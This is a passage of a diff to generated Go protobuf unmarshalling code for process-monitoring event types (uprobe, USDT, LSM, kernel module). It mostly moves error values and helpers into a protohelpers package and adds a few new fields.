*ProcessUprobe) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -15202,11 +16058,11 @@ func (m *ProcessUprobe) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -15225,7 +16081,7 @@ func (m *ProcessUprobe) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -15239,11 +16095,11 @@ func (m *ProcessUprobe) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -15257,7 +16113,7 @@ func (m *ProcessUprobe) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -15271,11 +16127,11 @@ func (m *ProcessUprobe) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -15289,7 +16145,7 @@ func (m *ProcessUprobe) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -15303,11 +16159,11 @@ func (m *ProcessUprobe) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -15321,7 +16177,7 @@ func (m *ProcessUprobe) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -15335,11 +16191,11 @@ func (m *ProcessUprobe) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -15353,7 +16209,7 @@ func (m *ProcessUprobe) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -15366,11 +16222,11 @@ func (m *ProcessUprobe) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -15387,7 +16243,7 @@ func (m *ProcessUprobe) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -15401,11 +16257,11 @@ func (m *ProcessUprobe) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -15419,7 +16275,7 @@ func (m *ProcessUprobe) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -15432,11 +16288,11 @@ func (m *ProcessUprobe) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -15453,7 +16309,7 @@ func (m *ProcessUprobe) UnmarshalVT(dAtA []byte) error { m.Offset = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -15472,7 +16328,7 @@ func (m *ProcessUprobe) UnmarshalVT(dAtA []byte) error { m.RefCtrOffset = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -15484,37 +16340,524 @@ func (m *ProcessUprobe) UnmarshalVT(dAtA []byte) error { break } } - default: - iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) - if err != nil { - return err + case 12: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Action", wireType) } - if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + m.Action = 0 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + m.Action |= KprobeAction(b&0x7F) << shift + if b < 0x80 { + break + } } - if (iNdEx + skippy) > l { - return io.ErrUnexpectedEOF + case 13: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Data", wireType) } - m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) - iNdEx += skippy - } - } - - if iNdEx > l { - return io.ErrUnexpectedEOF - } - return nil -} -func (m *ProcessLsm) UnmarshalVT(dAtA []byte) error { - l := len(dAtA) + var msglen int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + msglen |= int(b&0x7F) << shift + if b < 0x80 { + break + } + } + if msglen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Data = append(m.Data, &KprobeArgument{}) + if err := m.Data[len(m.Data)-1].UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protohelpers.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *ProcessUsdt) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + wire |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: ProcessUsdt: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: ProcessUsdt: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Process", wireType) + } + var msglen int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + msglen |= int(b&0x7F) << shift + if b < 0x80 { + break + } + } + if msglen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Process == nil { + m.Process = &Process{} + } + if err := m.Process.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Parent", wireType) + } + var msglen int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + msglen |= int(b&0x7F) << shift + if b < 0x80 { + break + } + } + if msglen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Parent == nil { + m.Parent = &Process{} + } + if err := m.Parent.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Path", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Path = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Provider", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Provider = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Name = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 6: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field PolicyName", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.PolicyName = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 7: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Message", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Message = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 8: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Args", wireType) + } + var msglen int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + msglen |= int(b&0x7F) << shift + if b < 0x80 { + break + } + } + if msglen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Args = append(m.Args, &KprobeArgument{}) + if err := m.Args[len(m.Args)-1].UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + case 9: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Tags", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Tags = append(m.Tags, string(dAtA[iNdEx:postIndex])) + iNdEx = postIndex + case 10: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Ancestors", wireType) + } + var msglen int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + msglen |= int(b&0x7F) << shift + if b < 0x80 { + break + } + } + if msglen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Ancestors = append(m.Ancestors, &Process{}) + if err := m.Ancestors[len(m.Ancestors)-1].UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + case 11: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Action", wireType) + } + m.Action = 0 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + m.Action |= KprobeAction(b&0x7F) << shift + if b < 0x80 { + break + } + } + case 12: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Flags", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Flags = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protohelpers.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *ProcessLsm) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) iNdEx := 0 for iNdEx < l { preIndex := iNdEx var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -15542,7 +16885,7 @@ func (m *ProcessLsm) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -15555,11 +16898,11 @@ func (m *ProcessLsm) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -15578,7 +16921,7 @@ func (m *ProcessLsm) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -15591,11 +16934,11 @@ func (m *ProcessLsm) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -15614,7 +16957,7 @@ func (m *ProcessLsm) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -15628,11 +16971,11 @@ func (m *ProcessLsm) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -15646,7 +16989,7 @@ func (m *ProcessLsm) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -15660,11 +17003,11 @@ func (m *ProcessLsm) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -15678,7 +17021,7 @@ func (m *ProcessLsm) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -15692,11 +17035,11 @@ func (m *ProcessLsm) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -15710,7 +17053,7 @@ func (m *ProcessLsm) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -15723,11 +17066,11 @@ func (m *ProcessLsm) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -15744,7 +17087,7 @@ func (m *ProcessLsm) UnmarshalVT(dAtA []byte) error { m.Action = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -15763,7 +17106,7 @@ func (m *ProcessLsm) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -15777,11 +17120,11 @@ func (m *ProcessLsm) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -15795,7 +17138,7 @@ func (m *ProcessLsm) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -15808,11 +17151,11 @@ func (m *ProcessLsm) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -15829,7 +17172,7 @@ func (m *ProcessLsm) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -15843,11 +17186,11 @@ func (m *ProcessLsm) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -15856,12 +17199,12 @@ func (m *ProcessLsm) UnmarshalVT(dAtA []byte) error { iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -15884,7 +17227,7 @@ func (m *KernelModule) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -15912,7 +17255,7 @@ func (m *KernelModule) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -15926,11 +17269,11 @@ func (m *KernelModule) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -15944,7 +17287,7 @@ func (m *KernelModule) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -15957,11 +17300,11 @@ func (m *KernelModule) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -15969,16 +17312,8 @@ func (m *KernelModule) UnmarshalVT(dAtA []byte) error { if m.SignatureOk == nil { m.SignatureOk = &wrapperspb.BoolValue{} } - if unmarshal, ok := interface{}(m.SignatureOk).(interface { - UnmarshalVT([]byte) error - }); ok { - if err := unmarshal.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { - return err - } - } else { - if err := proto.Unmarshal(dAtA[iNdEx:postIndex], m.SignatureOk); err != nil { - return err - } + if err := (*wrapperspb.BoolValue)(m.SignatureOk).UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err } iNdEx = postIndex case 3: @@ -15986,7 +17321,7 @@ func (m *KernelModule) UnmarshalVT(dAtA []byte) error { var v TaintedBitsType for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -16003,7 +17338,7 @@ func (m *KernelModule) UnmarshalVT(dAtA []byte) error { var packedLen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -16016,11 +17351,11 @@ func (m *KernelModule) UnmarshalVT(dAtA []byte) error { } } if packedLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + packedLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -16033,7 +17368,7 @@ func (m *KernelModule) UnmarshalVT(dAtA []byte) error { var v TaintedBitsType for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -16052,12 +17387,12 @@ func (m *KernelModule) UnmarshalVT(dAtA []byte) error { } default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -16080,7 +17415,7 @@ func (m *Test) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -16108,7 +17443,7 @@ func (m *Test) UnmarshalVT(dAtA []byte) error { m.Arg0 = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -16127,7 +17462,7 @@ func (m *Test) UnmarshalVT(dAtA []byte) error { m.Arg1 = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -16146,7 +17481,7 @@ func (m *Test) UnmarshalVT(dAtA []byte) error { m.Arg2 = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -16165,7 +17500,7 @@ func (m *Test) UnmarshalVT(dAtA []byte) error { m.Arg3 = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -16179,12 +17514,12 @@ func (m *Test) UnmarshalVT(dAtA []byte) error { } default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -16207,7 +17542,7 @@ func (m *GetHealthStatusRequest) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -16233,7 +17568,7 @@ func (m *GetHealthStatusRequest) UnmarshalVT(dAtA []byte) error { var v HealthStatusType for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -16250,7 +17585,7 @@ func (m 